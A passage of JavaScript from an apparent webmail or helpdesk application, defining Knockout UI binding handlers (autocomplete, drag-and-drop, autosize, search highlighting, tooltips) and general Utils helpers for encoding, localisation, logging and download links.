  			}).on('click', function() {
  				if (jqEl.val() === '')
  				{
  					if (!$(jqEl.autocomplete('widget')).is(':visible'))
  					{
  						jqEl.autocomplete("option", "minLength", 0); //for triggering search on empty field
  						jqEl.autocomplete("search");
  						jqEl.autocomplete("option", "minLength", 1);
  					}
  					else
  					{
  						jqEl.autocomplete("close");
  					}
  				}
  			});
  		}
  	}
  };
  
  ko.bindingHandlers.autocompleteSimple = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var
  			jqEl = $(oElement),
  			oOptions = fValueAccessor(),
  			fCallback = oOptions['callback'],
  			fDataAccessor = oOptions.dataAccessor ? oOptions.dataAccessor : Utils.emptyFunction(),
  			fDeleteAccessor = oOptions.deleteAccessor ? oOptions.deleteAccessor : Utils.emptyFunction(),
  			fSourceResponse = Utils.emptyFunction(),
  			fDelete = function () {
  				fDeleteAccessor(oSelectedItem);
  				$.ui.autocomplete.prototype.__response.call(jqEl.data('autocomplete'), _.filter(aSourceResponseItems, function(oItem){ return oItem.value !== oSelectedItem.value; }));
  			},
  			aSourceResponseItems = null,
  			oSelectedItem = null
  		;
  
  		if (fCallback && jqEl && jqEl[0])
  		{
  			jqEl.autocomplete({
  				'minLength': 1,
  				'autoFocus': true,
  				'position': {
  					collision: "flip" //prevents the escape off the screen
  				},
  				'source': function (request, response) {
  					fSourceResponse = response;
  					fCallback(request['term'], function (oItems) { //additional layer for story oItems
  						aSourceResponseItems = oItems;
  						fSourceResponse(oItems);
  					});
  				},
  				'focus': function (oEvent, oItem) {
  					oSelectedItem = oItem.item;
  				},
  				'open': function (oEvent, oItem) {
  					$(jqEl.autocomplete('widget')).find('span.del').on('click', function(oEvent, oItem) {
  						Utils.calmEvent(oEvent);
  						fDelete();
  					});
  				},
  				'select': function (oEvent, oItem) {
  					_.delay(function () {
  						jqEl.trigger('change');
  					}, 5);
  					fDataAccessor(oItem.item);
  
  					return true;
  				}
  			}).on('click', function(oEvent, oItem) {
  				if (jqEl.val() === '')
  				{
  					if (!$(jqEl.autocomplete('widget')).is(':visible'))
  					{
  						jqEl.autocomplete("option", "minLength", 0); //for triggering search on empty field
  						jqEl.autocomplete("search");
  						jqEl.autocomplete("option", "minLength", 1);
  					}
  					else
  					{
  						jqEl.autocomplete("close");
  					}
  				}
  			}).on('keydown', function(oEvent, oItem) {
  				if (aSourceResponseItems && oSelectedItem && !oSelectedItem.global && oEvent.keyCode === Enums.Key.Del && oEvent.shiftKey) //shift+del on suggestions list
  				{
  					Utils.calmEvent(oEvent);
  					fDelete();
  				}
  			});
  		}
  	}
  };
  
  
  ko.bindingHandlers.draggablePlace = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  		if (fValueAccessor() === null)
  		{
  			return null;
  		}
  
  		var oAllBindingsAccessor = fAllBindingsAccessor ? fAllBindingsAccessor() : null;
  		$(oElement).draggable({
  			'distance': 20,
  			'handle': '.dragHandle',
  			'cursorAt': {'top': 0, 'left': 0},
  			'helper': function (oEvent) {
  				//return fValueAccessor().call(oViewModel, oEvent && oEvent.target ? ko.dataFor(oEvent.target) : null);
  				return fValueAccessor().apply(oViewModel, oEvent && oEvent.target ? [ko.dataFor(oEvent.target), oEvent.ctrlKey] : null);
  			},
  			'start': (oAllBindingsAccessor && oAllBindingsAccessor['draggableDragStartCallback']) ? oAllBindingsAccessor['draggableDragStartCallback'] : Utils.emptyFunction,
  			'stop': (oAllBindingsAccessor && oAllBindingsAccessor['draggableDragStopCallback']) ? oAllBindingsAccessor['draggableDragStopCallback'] : Utils.emptyFunction
  		}).on('mousedown', function () {
  			Utils.removeActiveFocus();
  		});
  	}
  };
  
  ko.bindingHandlers.droppable = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor) {
  		var oOptions = fValueAccessor(),
  			fValueFunc = oOptions.valueFunc,
  			fSwitchObserv = oOptions.switchObserv
  		;
  		if (false !== fValueFunc)
  		{
  			$(oElement).droppable({
  				'hoverClass': 'droppableHover',
  				'drop': function (oEvent, oUi) {
  					fValueFunc(oEvent, oUi);
  				}
  			});
  		}
  		if(fSwitchObserv && fValueFunc !== false)
  		{
  			fSwitchObserv.subscribe(function (bIsSelected) {
  				if($(oElement).data().droppable)
  				{
  					if(bIsSelected)
  					{
  						$(oElement).droppable('disable');
  					}
  					else
  					{
  						$(oElement).droppable('enable');
  					}
  				}
  			}, this);
  			fSwitchObserv.valueHasMutated();
  		}
  	}
  };
  
  ko.bindingHandlers.draggable = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor) {
  		$(oElement).attr('draggable', ko.utils.unwrapObservable(fValueAccessor()));
  	}
  };
  
  ko.bindingHandlers.autosize = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var
  			jqEl = $(oElement),
  			oOptions = fValueAccessor(),
  			iHeight = jqEl.height(),
  			iOuterHeight = jqEl.outerHeight(),
  			iInnerHeight = jqEl.innerHeight(),
  			iBorder = iOuterHeight - iInnerHeight,
  			iPaddingTB = iInnerHeight - iHeight,
  			iMinHeight = oOptions.minHeight ? oOptions.minHeight : 0,
  			iMaxHeight = oOptions.maxHeight ? oOptions.maxHeight : 0,
  			iScrollableHeight = oOptions.scrollableHeight ? oOptions.scrollableHeight : 1000,// max-height of .scrollable_field
  			oAutosizeTrigger = oOptions.autosizeTrigger ? oOptions.autosizeTrigger : null,
  				
  			/**
  			 * @param {boolean=} bIgnoreScrollableHeight
  			 */
  			fResize = function (bIgnoreScrollableHeight) {
  				var iPadding = 0;
  
  				if (App.browser.firefox)
  				{
  					iPadding = parseInt(jqEl.css('padding-top'), 10) * 2;
  				}
  
  				if (iMaxHeight)
  				{
  					/* 0-timeout to get the already changed text */
  					setTimeout(function () {
  						if (jqEl.prop('scrollHeight') < iMaxHeight)
  						{
  							jqEl.height(iMinHeight - iPaddingTB - iBorder);
  							jqEl.height(jqEl.prop('scrollHeight') + iPadding - iPaddingTB);
  						}
  						else
  						{
  							jqEl.height(iMaxHeight - iPaddingTB - iBorder);
  						}
  					}, 100);
  				}
  				else if (bIgnoreScrollableHeight || jqEl.prop('scrollHeight') < iScrollableHeight)
  				{
  					setTimeout(function () {
  						jqEl.height(iMinHeight - iPaddingTB - iBorder);
  						jqEl.height(jqEl.prop('scrollHeight') + iPadding - iPaddingTB);
  						//$('.calendar_event .scrollable_field').scrollTop(jqEl.height('scrollHeight'))
  					}, 100);
  				}
  			}
  		;
  
  		jqEl.on('keydown', function(oEvent, oData) {
  			fResize();
  		});
  		jqEl.on('paste', function(oEvent, oData) {
  			fResize();
  		});
  
  		if (oAutosizeTrigger)
  		{
  			oAutosizeTrigger.subscribe(function (arg) {
  				fResize(arg);
  			}, this);
  		}
  
  		fResize();
  	}
  };
  
  ko.extenders.disableLinebreaks = function (oTarget, bDisable) {
  	if (bDisable)
  	{
  		var oResult = ko.computed({
  			'read': function () {
  				return oTarget();
  			},
  			'write': function(sNewValue) {
  				oTarget(sNewValue.replace(/[\r\n\t]+/gm, ' '));
  			}
  		});
  		oResult(oTarget());
  		return oResult;
  	}
  	return oTarget;
  };
  
  ko.bindingHandlers.fade = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var jqEl = $(oElement),
  			jqElFaded = $('<span class="faded"></span>'),
  			oOptions = _.defaults(
  				fValueAccessor(), {
  					'color': null,
  					'css': 'fadeout'
  				}
  			),
  			oColor = oOptions.color,
  			sCss = oOptions.css,
  			updateColor = function (sColor)
  			{
  				if (sColor === '') {
  					return;
  				}
  
  				var
  					oHex2Rgb = hex2Rgb(sColor),
  					sRGBColor = "rgba(" + oHex2Rgb.r + "," + oHex2Rgb.g + "," + oHex2Rgb.b
  				;
  
  				colorIt(sColor, sRGBColor);
  			},
  			hex2Rgb = function (sHex) {
  				// Expand shorthand form (e.g. "03F") to full form (e.g. "0033FF")
  				var
  					shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i,
  					result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(sHex)
  				;
  				sHex = sHex.replace(shorthandRegex, function(m, r, g, b) {
  					return r + r + g + g + b + b;
  				});
  
  				return result ? {
  					r: parseInt(result[1], 16),
  					g: parseInt(result[2], 16),
  					b: parseInt(result[3], 16)
  				} : null;
  			},
  			colorIt = function (hex, rgb) {
  				if (Utils.isRTL())
  				{
  					jqElFaded
  						.css("filter", "progid:DXImageTransform.Microsoft.gradient(startColorstr='" + hex + "', endColorstr='" + hex + "',GradientType=1 )")
  						.css("background-image", "-webkit-gradient(linear, left top, right top, color-stop(0%," + rgb + ",1)" + "), color-stop(100%," + rgb + ",0)" + "))")
  						.css("background-image", "-moz-linear-gradient(left, " + rgb + ",1)" + "0%, " + rgb + ",0)" + "100%)")
  						.css("background-image", "-webkit-linear-gradient(left, " + rgb + "1)" + "0%," + rgb + ",0)" + "100%)")
  						.css("background-image", "-o-linear-gradient(left, " + rgb + ",1)" + "0%," + rgb + ",0)" + "100%)")
  						.css("background-image", "-ms-linear-gradient(left, " + rgb + ",1)" + "0%," + rgb + ",0)" + "100%)")
  						.css("background-image", "linear-gradient(left, " + rgb + ",1)" + "0%," + rgb + ",0)" + "100%)");
  				}
  				else
  				{
  					jqElFaded
  						.css("filter", "progid:DXImageTransform.Microsoft.gradient(startColorstr='" + hex + "', endColorstr='" + hex + "',GradientType=1 )")
  						.css("background-image", "-webkit-gradient(linear, left top, right top, color-stop(0%," + rgb + ",0)" + "), color-stop(100%," + rgb + ",1)" + "))")
  						.css("background-image", "-moz-linear-gradient(left, " + rgb + ",0)" + "0%, " + rgb + ",1)" + "100%)")
  						.css("background-image", "-webkit-linear-gradient(left, " + rgb + ",0)" + "0%," + rgb + ",1)" + "100%)")
  						.css("background-image", "-o-linear-gradient(left, " + rgb + ",0)" + "0%," + rgb + ",1)" + "100%)")
  						.css("background-image", "-ms-linear-gradient(left, " + rgb + ",0)" + "0%," + rgb + ",1)" + "100%)")
  						.css("background-image", "linear-gradient(left, " + rgb + ",0)" + "0%," + rgb + ",1)" + "100%)");
  				}
  			}
  		;
  
  		jqEl.parent().addClass(sCss);
  		jqEl.after(jqElFaded);
  
  		if (oOptions.color.subscribe !== undefined)
  		{
  			updateColor(oColor());
  			oColor.subscribe(function (sColor) {
  				updateColor(sColor);
  			}, this);
  		}
  	}
  };
  
  ko.bindingHandlers.highlighter = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var
  			jqEl = $(oElement),
  			oOptions = fValueAccessor(),
  			oValueObserver = oOptions.valueObserver ? oOptions.valueObserver : null,
  			oHighlighterValueObserver = oOptions.highlighterValueObserver ? oOptions.highlighterValueObserver : null,
  			oHighlightTrigger = oOptions.highlightTrigger ? oOptions.highlightTrigger : null,
  			aHighlightWords = ['from:', 'to:', 'subject:', 'text:', 'email:', 'has:', 'date:', 'text:', 'body:'],
  			rPattern = (function () {
  				var sPatt = '';
  				$.each(aHighlightWords, function(i, oEl) {
  					sPatt = (!i) ? (sPatt + '\\b' + oEl) : (sPatt + '|\\b' + oEl);
  				});
  
  				return new RegExp('(' + sPatt + ')', 'g');
  			}()),
  			fClear = function (sStr) {
  				return sStr.replace(/\xC2\xA0/g, ' ').replace(/\xA0/g, ' ').replace(/[\s]+/g, ' ');
  			},
  			iPrevKeyCode = -1,
  			sUserLanguage = window.navigator.language || window.navigator.userLanguage,
  			aTabooLang = ['zh', 'zh-TW', 'zh-CN', 'zh-HK', 'zh-SG', 'zh-MO', 'ja', 'ja-JP', 'ko', 'ko-KR', 'vi', 'vi-VN', 'th', 'th-TH'],// , 'ru', 'ru-RU'
  			bHighlight = !_.include(aTabooLang, sUserLanguage)
  		;
  
  		$(oElement)
  			.on('keydown', function (oEvent) {
  				return oEvent.keyCode !== Enums.Key.Enter;
  			})
  			.on('keyup', function (oEvent) {
  				var
  					aMoveKeys = [Enums.Key.Left, Enums.Key.Right, Enums.Key.Home, Enums.Key.End],
  					bMoveKeys = -1 !== Utils.inArray(oEvent.keyCode, aMoveKeys)
  				;
  
  				if (!(
  //							oEvent.keyCode === Enums.Key.Enter					||
  						oEvent.keyCode === Enums.Key.Shift					||
  						oEvent.keyCode === Enums.Key.Ctrl					||
  						// for international english -------------------------
  //						oEvent.keyCode === Enums.Key.Dash					||
  //						oEvent.keyCode === Enums.Key.Apostrophe				||
  //						oEvent.keyCode === Enums.Key.Six && oEvent.shiftKey	||
  						// ---------------------------------------------------
  						bMoveKeys											||
  //							((oEvent.shiftKey || iPrevKeyCode === Enums.Key.Shift) && bMoveKeys) ||
  						((oEvent.ctrlKey || iPrevKeyCode === Enums.Key.Ctrl) && oEvent.keyCode === Enums.Key.a)
  					))
  				{
  					oValueObserver(fClear(jqEl.text()));
  					highlight(false);
  				}
  				iPrevKeyCode = oEvent.keyCode;
  				return true;
  			})
  				// firefox fix for html paste
  			.on('paste', function (oEvent) {
  				setTimeout(function () {
  					oValueObserver(fClear(jqEl.text()));
  					highlight(false);
  				}, 0);
  				return true;
  			})
  		;
  
  		// highlight on init
  		setTimeout(function () {
  			highlight(true);
  		}, 0);
  
  		function highlight(bNotRestoreSel) {
  			if(bHighlight)
  			{
  				var
  					iCaretPos = 0,
  					sContent = jqEl.text(),
  					aContent = sContent.split(rPattern),
  					aDividedContent = [],
  					sReplaceWith = '<span class="search_highlight"' + '>$&</span>'
  				;
  
  				$.each(aContent, function (i, sEl) {
  					if (_.any(aHighlightWords, function (oAnyEl) {return oAnyEl === sEl;}))
  					{
  						$.each(sEl, function (i, sElem) {
  							aDividedContent.push($(sElem.replace(/(.)/, sReplaceWith)));
  						});
  					}
  					else
  					{
  						$.each(sEl, function(i, sElem) {
  							if(sElem === ' ')
  							{
  								// space fix for firefox
  								aDividedContent.push(document.createTextNode('\u00A0'));
  							}
  							else
  							{
  								aDividedContent.push(document.createTextNode(sElem));
  							}
  						});
  					}
  				});
  
  				if (bNotRestoreSel)
  				{
  					jqEl.empty().append(aDividedContent);
  				}
  				else
  				{
  					iCaretPos = getCaretOffset();
  					jqEl.empty().append(aDividedContent);
  					setCursor(iCaretPos);
  				}
  			}
  		}
  
  		function getCaretOffset() {
  			var
  				caretOffset = 0,
  				range,
  				preCaretRange,
  				textRange,
  				preCaretTextRange
  				;
  
  			if (typeof window.getSelection !== "undefined")
  			{
  				range = window.getSelection().getRangeAt(0);
  				preCaretRange = range.cloneRange();
  				preCaretRange.selectNodeContents(oElement);
  				preCaretRange.setEnd(range.endContainer, range.endOffset);
  				caretOffset = preCaretRange.toString().length;
  			}
  			else if (typeof document.selection !== "undefined" && document.selection.type !== "Control")
  			{
  				textRange = document.selection.createRange();
  				preCaretTextRange = document.body.createTextRange();
  				preCaretTextRange.moveToElementText(oElement);
  				preCaretTextRange.setEndPoint("EndToEnd", textRange);
  				caretOffset = preCaretTextRange.text.length;
  			}
  
  			return caretOffset;
  		}
  
  		function setCursor(iCaretPos) {
  			var
  				range,
  				selection,
  				textRange
  				;
  
  			if (!oElement)
  			{
  				return false;
  			}
  			else if(document.createRange)
  			{
  				range = document.createRange();
  				range.selectNodeContents(oElement);
  				range.setStart(oElement, iCaretPos);
  				range.setEnd(oElement, iCaretPos);
  				selection = window.getSelection();
  				selection.removeAllRanges();
  				selection.addRange(range);
  			}
  			else if(oElement.createTextRange)
  			{
  				textRange = oElement.createTextRange();
  				textRange.collapse(true);
  				textRange.moveEnd(iCaretPos);
  				textRange.moveStart(iCaretPos);
  				textRange.select();
  				return true;
  			}
  			else if(oElement.setSelectionRange)
  			{
  				oElement.setSelectionRange(iCaretPos, iCaretPos);
  				return true;
  			}
  
  			return false;
  		}
  
  		oHighlightTrigger.notifySubscribers();
  
  		oHighlightTrigger.subscribe(function (bNotRestoreSel) {
  			setTimeout(function () {
  				highlight(!!bNotRestoreSel);
  			}, 0);
  		}, this);
  
  		oHighlighterValueObserver.subscribe(function () {
  			jqEl.text(oValueObserver());
  		}, this);
  	}
  };
  
  ko.bindingHandlers.quoteText = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var
  			jqEl = $(oElement),
  			jqButton = $('<span class="button_quote">' + Utils.i18n('HELPDESK/BUTTON_QUOTE') + '</span>'),
  			oOptions = fValueAccessor(),
  			fActionHandler = oOptions.actionHandler,
  			bIsQuoteArea = false,
  			oSelection = null,
  			sText = ''
  		;
  
  		$('#pSevenContent').append(jqButton);
  
  		$(document.body).on('click', function(oEvent) {
  
  			bIsQuoteArea = !!(($(oEvent.target)).parents('.posts')[0]);
  			if (document.getSelection)
  			{
  				oSelection = document.getSelection();
  				if (oSelection)
  				{
  					sText = oSelection.toString();
  				}
  			}
  			else
  			{
  				sText = document.selection.createRange().text;
  			}
  
  			if(bIsQuoteArea)
  			{
  				if(sText.replace(/[\n\r\s]/, '') !== '') //replace - for dbl click on empty area
  				{
  					jqButton.css({
  						'top': oEvent.clientY + 20, //20 - custom indent
  						'left': oEvent.clientX + 20
  					}).show();
  				}
  				else
  				{
  					jqButton.hide();
  				}
  			}
  			else
  			{
  				jqButton.hide();
  			}
  		});
  
  		jqButton.on('click', function(oEvent) {
  			fActionHandler.call(oViewModel, sText);
  		});
  	}
  };
  
  ko.bindingHandlers.adjustHeightToContent = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var
  			jqEl = $(oElement),
  			jqTargetEl = null,
  			jqParentEl = null,
  			jqNearEl = null
  		;
  
  		_.delay(_.bind(function(){
  			jqTargetEl = $(_.max(jqEl.find('.title .text'), function(domEl){
  				return domEl.offsetWidth;
  			}));
  
  			jqParentEl = jqTargetEl.parent();
  			jqNearEl = jqParentEl.find('.icon');
  
  			jqEl.css('min-width',
  				parseInt(jqParentEl.css("margin-left")) +
  				parseInt(jqParentEl.css("padding-left")) +
  				parseInt(jqNearEl.width()) +
  				parseInt(jqNearEl.css("margin-left")) +
  				parseInt(jqNearEl.css("margin-right")) +
  				parseInt(jqNearEl.css("padding-left")) +
  				parseInt(jqNearEl.css("padding-right")) +
  				parseInt(jqTargetEl.width()) +
  				parseInt(jqTargetEl.css("margin-left")) +
  				parseInt(jqTargetEl.css("padding-left")) +
  				10
  			);
  		},this), 1);
  	}
  };
  
  ko.bindingHandlers.customTooltip = {
  	'init': (bMobileDevice || bMobileApp) ? null : function (oElement, fValueAccessor) {
  		var
  			sTooltipText = Utils.i18n(fValueAccessor()),
  			$Element = $(oElement),
  			$Dropdown = $Element.find('span.dropdown'),
  			bShown = false,
  			fMouseIn = function () {
  				var $ItemToAlign = $(this);
  				if (!$ItemToAlign.hasClass('expand'))
  				{
  					clearTimeout(Utils.CustomTooltip.iHideTimer);
  					bShown = true;
  					clearTimeout(Utils.CustomTooltip.iTimer);
  					Utils.CustomTooltip.iTimer = setTimeout(function () {
  						if (bShown)
  						{
  							if ($ItemToAlign.hasClass('expand'))
  							{
  								bShown = false;
  								clearTimeout(Utils.CustomTooltip.iTimer);
  								Utils.CustomTooltip.hide();
  							}
  							else
  							{
  								Utils.CustomTooltip.show(sTooltipText, $ItemToAlign);
  							}
  						}
  					}, 100);
  				}
  			},
  			fMouseOut = function () {
  				clearTimeout(Utils.CustomTooltip.iHideTimer);
  				Utils.CustomTooltip.iHideTimer = setTimeout(function () {
  					bShown = false;
  					clearTimeout(Utils.CustomTooltip.iTimer);
  					Utils.CustomTooltip.hide();
  				}, 10);
  			},
  			fEmpty = function () {},
  			fBindEvents = function () {
  				$Element.unbind('mouseover', fMouseIn);
  				$Element.unbind('mouseout', fMouseOut);
  				$Element.unbind('click', fMouseOut);
  				$Dropdown.unbind('mouseover', fMouseOut);
  				$Dropdown.unbind('mouseout', fEmpty);
  				if (sTooltipText !== '')
  				{
  					$Element.bind('mouseover', fMouseIn);
  					$Element.bind('mouseout', fMouseOut);
  					$Element.bind('click', fMouseOut);
  					$Dropdown.bind('mouseover', fMouseOut);
  					$Dropdown.bind('mouseout', fEmpty);
  				}
  			},
  			fSubscribtion = null
  		;
  		
  		if (typeof sTooltipText === 'function')
  		{
  			sTooltipText = sTooltipText();
  		}
  		
  		fBindEvents();
  		
  		if (typeof fValueAccessor().subscribe === 'function' && fSubscribtion === null)
  		{
  			fSubscribtion = fValueAccessor().subscribe(function (sValue) {
  				sTooltipText = sValue;
  				fBindEvents();
  			});
  		}
  	}
  };
  
  ko.bindingHandlers.foreachprop = {
  	transformObject: function (obj) {
  		var properties = [];
  		
  		for (var key in obj) {
  			if (obj.hasOwnProperty(key)) {
  				properties.push({ key: key, value: obj[key] });
  			}
  		}
  		return properties;
  	},
  	init: function(element, valueAccessor, allBindingsAccessor, viewModel, bindingContext) {
  		var
  			value = ko.utils.unwrapObservable(valueAccessor()),
  			properties = ko.bindingHandlers.foreachprop.transformObject(value)
  		;
  		
  		ko.applyBindingsToNode(element, { foreach: properties }, bindingContext);
  		return { controlsDescendantBindings: true };
  	}
  };
  
  
  /**
   * @type {Function}
   */
  Utils.inArray = $.inArray;
  
  /**
   * @type {Function}
   */
  Utils.isFunc = $.isFunction;
  
  /**
   * @type {Function}
   */
  Utils.trim = $.trim;
  
  /**
   * @type {Function}
   */
  Utils.emptyFunction = function () {};
  
  /**
   * @param {*} mValue
   * 
   * @return {boolean}
   */
  Utils.isUnd = function (mValue)
  {
  	return undefined === mValue;
  };
  
  /**
   * @param {*} oValue
   * 
   * @return {boolean}
   */
  Utils.isNull = function (oValue)
  {
  	return null === oValue;
  };
  
  /**
   * @param {*} oValue
   * 
   * @return {boolean}
   */
  Utils.isNormal = function (oValue)
  {
  	return !Utils.isUnd(oValue) && !Utils.isNull(oValue);
  };
  
  /**
   * @param {(string|number)} mValue
   * 
   * @return {boolean}
   */
  Utils.isNumeric = function (mValue)
  {
  	return Utils.isNormal(mValue) ? (/^[1-9]+[0-9]*$/).test(mValue.toString()) : false;
  };
  
  /**
   * @param {*} mValue
   * 
   * @return {number}
   */
  Utils.pInt = function (mValue)
  {
  	var iValue = window.parseInt(mValue, 10);
  	if (isNaN(iValue))
  	{
  		iValue = 0;
  	}
  	return iValue;
  };
  
  /**
   * @param {*} mValue
   * 
   * @return {string}
   */
  Utils.pString = function (mValue)
  {
  	return Utils.isNormal(mValue) ? mValue.toString() : '';
  };
  
  /**
   * @param {*} aValue
   * @param {number=} iArrayLen
   * 
   * @return {boolean}
   */
  Utils.isNonEmptyArray = function (aValue, iArrayLen)
  {
  	iArrayLen = iArrayLen || 1;
  	
  	return _.isArray(aValue) && iArrayLen <= aValue.length;
  };
  
  /**
   * @param {Object} oObject
   * @param {string} sName
   * @param {*} mValue
   */
  Utils.pImport = function (oObject, sName, mValue)
  {
  	oObject[sName] = mValue;
  };
  
  /**
   * @param {Object} oObject
   * @param {string} sName
   * @param {*} mDefault
   * @return {*}
   */
  Utils.pExport = function (oObject, sName, mDefault)
  {
  	return Utils.isUnd(oObject[sName]) ? mDefault : oObject[sName];
  };
  
  /**
   * @param {string} sText
   * 
   * @return {string}
   */
  Utils.encodeHtml = function (sText)
  {
  	return (sText) ? sText.toString()
  		.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
  		.replace(/"/g, '&quot;').replace(/'/g, '&#039;') : '';
  };
  
  /**
   * @param {string} sKey
   * @param {?Object=} oValueList
   * @param {?string=} sDefaultValue
   * @param {number=} nPluralCount
   * 
   * @return {string}
   */
  Utils.i18n = function (sKey, oValueList, sDefaultValue, nPluralCount) {
  
  	var
  		sValueName = '',
  		sResult = Utils.isUnd(I18n[sKey]) ? (Utils.isNormal(sDefaultValue) ? sDefaultValue : sKey) : I18n[sKey]
  	;
  
  	if (!Utils.isUnd(nPluralCount))
  	{
  		sResult = (function (nPluralCount, sResult) {
  			var
  				nPlural = Utils.getPlural(AppData.User.DefaultLanguage, nPluralCount),
  				aPluralParts = sResult.split('|')
  			;
  
  			return (aPluralParts && aPluralParts[nPlural]) ? aPluralParts[nPlural] : (
  				aPluralParts && aPluralParts[0] ? aPluralParts[0] : sResult);
  
  		}(nPluralCount, sResult));
  	}
  
  	if (Utils.isNormal(oValueList))
  	{
  		for (sValueName in oValueList)
  		{
  			if (oValueList.hasOwnProperty(sValueName))
  			{
  				var reg = new RegExp('%' + sValueName + '%', 'g');
  				sResult = sResult.replace(reg, oValueList[sValueName]);
  			}
  		}
  	}
  
  	return sResult;
  };
  
  /**
   * @param {number} iNum
   * @param {number} iDec
   * 
   * @return {number}
   */
  Utils.roundNumber = function (iNum, iDec)
  {
  	return Math.round(iNum * Math.pow(10, iDec)) / Math.pow(10, iDec);
  };
  
  /**
   * @param {(number|string)} iSizeInBytes
   * 
   * @return {string}
   */
  Utils.friendlySize = function (iSizeInBytes)
  {
  	var
  		iBytesInKb = 1024,
  		iBytesInMb = iBytesInKb * iBytesInKb,
  		iBytesInGb = iBytesInKb * iBytesInKb * iBytesInKb
  	;
  
  	iSizeInBytes = Utils.pInt(iSizeInBytes);
  
  	if (iSizeInBytes >= iBytesInGb)
  	{
  		return Utils.roundNumber(iSizeInBytes / iBytesInGb, 1) + Utils.i18n('MAIN/GIGABYTES');
  	}
  	else if (iSizeInBytes >= iBytesInMb)
  	{
  		return Utils.roundNumber(iSizeInBytes / iBytesInMb, 1) + Utils.i18n('MAIN/MEGABYTES');
  	}
  	else if (iSizeInBytes >= iBytesInKb)
  	{
  		return Utils.roundNumber(iSizeInBytes / iBytesInKb, 0) + Utils.i18n('MAIN/KILOBYTES');
  	}
  
  	return iSizeInBytes + Utils.i18n('MAIN/BYTES');
  };
  
  Utils.timeOutAction = (function () {
  
  	var oTimeOuts = {};
  
  	return function (sAction, fFunction, iTimeOut) {
  		if (Utils.isUnd(oTimeOuts[sAction]))
  		{
  			oTimeOuts[sAction] = 0;
  		}
  
  		window.clearTimeout(oTimeOuts[sAction]);
  		oTimeOuts[sAction] = window.setTimeout(fFunction, iTimeOut);
  	};
  }());
  
  Utils.$log = null;
  Utils.aLog = [];
  
  Utils.log = function ()
  {
  	if (!AppData || !AppData.ClientDebug || !App.browser || App.browser.ie9AndBelow)
  	{
  		return;
  	}
  	
  	function fCensor(mKey, mValue) {
  		if (typeof(mValue) === 'string' && mValue.length > 50)
  		{
  			return mValue.substring(0, 50);
  		}
  
  		return mValue;
  	}
  	
  	var
  		$log = Utils.$log || $('<div style="display: none;"></div>').appendTo('body'),
  		aNewRow = []
  	;
  	
  	_.each(arguments, function (mArg) {
  		var sRowPart = typeof(mArg) === 'string' ? mArg : JSON.stringify(mArg, fCensor);
  		if (aNewRow.length === 0)
  		{
  			sRowPart = ' *** ' + sRowPart + ' *** ';
  		}
  		aNewRow.push(sRowPart);
  	});
  	
  	aNewRow.push(moment().format(' *** D MMMM, YYYY, HH:mm:ss *** '));
  	
  	Utils.$log = $log;
  	
  	if (Utils.aLog.length > 200)
  	{
  		Utils.aLog.shift();
  	}
  	
  	Utils.aLog.push(Utils.encodeHtml(aNewRow.join(', ')));
  	
  	$log.html(Utils.aLog.join('<br /><br />'));
  };
  
  /**
   * @param {string} sAction
   * @param {Object} oData
   * 
   * @returns {Object}
   */
  Utils.getAjaxDataForLog = function (sAction, oData)
  {
  	var oDataForLog = oData;
  	
  	if (oData && oData.Result)
  	{
  		switch (sAction)
  		{
  			case 'MessagesGetList':
  			case 'MessagesGetListByUids':
  				oDataForLog = {
  					'Result': {
  						'Uids': oData.Result.Uids,
  						'UidNext': oData.Result.UidNext,
  						'FolderHash': oData.Result.FolderHash,
  						'MessageCount': oData.Result.MessageCount,
  						'MessageUnseenCount': oData.Result.MessageUnseenCount,
  						'MessageResultCount': oData.Result.MessageResultCount
  					}
  				};
  				break;
  			case 'MessageGet':
  				oDataForLog = {
  					'Result': {
  						'Folder': oData.Result.Folder,
  						'Uid': oData.Result.Uid,
  						'Subject': oData.Result.Subject,
  						'Size': oData.Result.Size,
  						'TextSize': oData.Result.TextSize,
  						'From': oData.Result.From,
  						'To': oData.Result.To
  					}
  				};
  				break;
  			case 'MessagesGetBodies':
  				oDataForLog = {
  					'Result': _.map(oData.Result, function (oMessage) {
  						return {
  							'Uid': oMessage.Uid,
  							'Subject': oMessage.Subject
  						};
  					})
  				};
  				break;
  		}
  	}
  	else if (oData)
  	{
  		oDataForLog = {
  			'Result': oData.Result,
  			'ErrorCode': oData.ErrorCode
  		};
  	}
  	
  	return oDataForLog;
  };
  
  /**
   * Gets link for contacts inport.
   *
   * @return {string}
   */
  Utils.getImportContactsLink = function ()
  {
  	return '?/ImportContacts/';
  };
  
  /**
   * Gets link for contacts export.
   *
   * @param {string} $sSyncType
   * @return {string}
   */
  Utils.getExportContactsLink = function ($sSyncType)
  {
  	return '?/Raw/Contacts' + $sSyncType + '/';
  };
  
  /**
   * Gets link for calendar export by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * 
   * @return {string}
   */
  Utils.getExportCalendarLinkByHash = function (iAccountId, sHash)
  {
  	return '?/Raw/Calendar/' + iAccountId + '/' + sHash;
  };
  
  /**
   * Gets link for download by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {boolean=} bIsExt = false
   * @param {string=} sTenatHash = ''
   * 
   * @return {string}
   */
  Utils.getDownloadLinkByHash = function (iAccountId, sHash, bIsExt, sTenatHash)
  {
  	bIsExt = Utils.isUnd(bIsExt) ? false : !!bIsExt;
  	sTenatHash = Utils.isUnd(sTenatHash) ? '' : sTenatHash;
  
  	return '?/Raw/Download/' + iAccountId + '/' + sHash + '/' + (bIsExt ? '1' : '0') + ('' === sTenatHash ? '' : '/' + sTenatHash);
  };
  
  /**
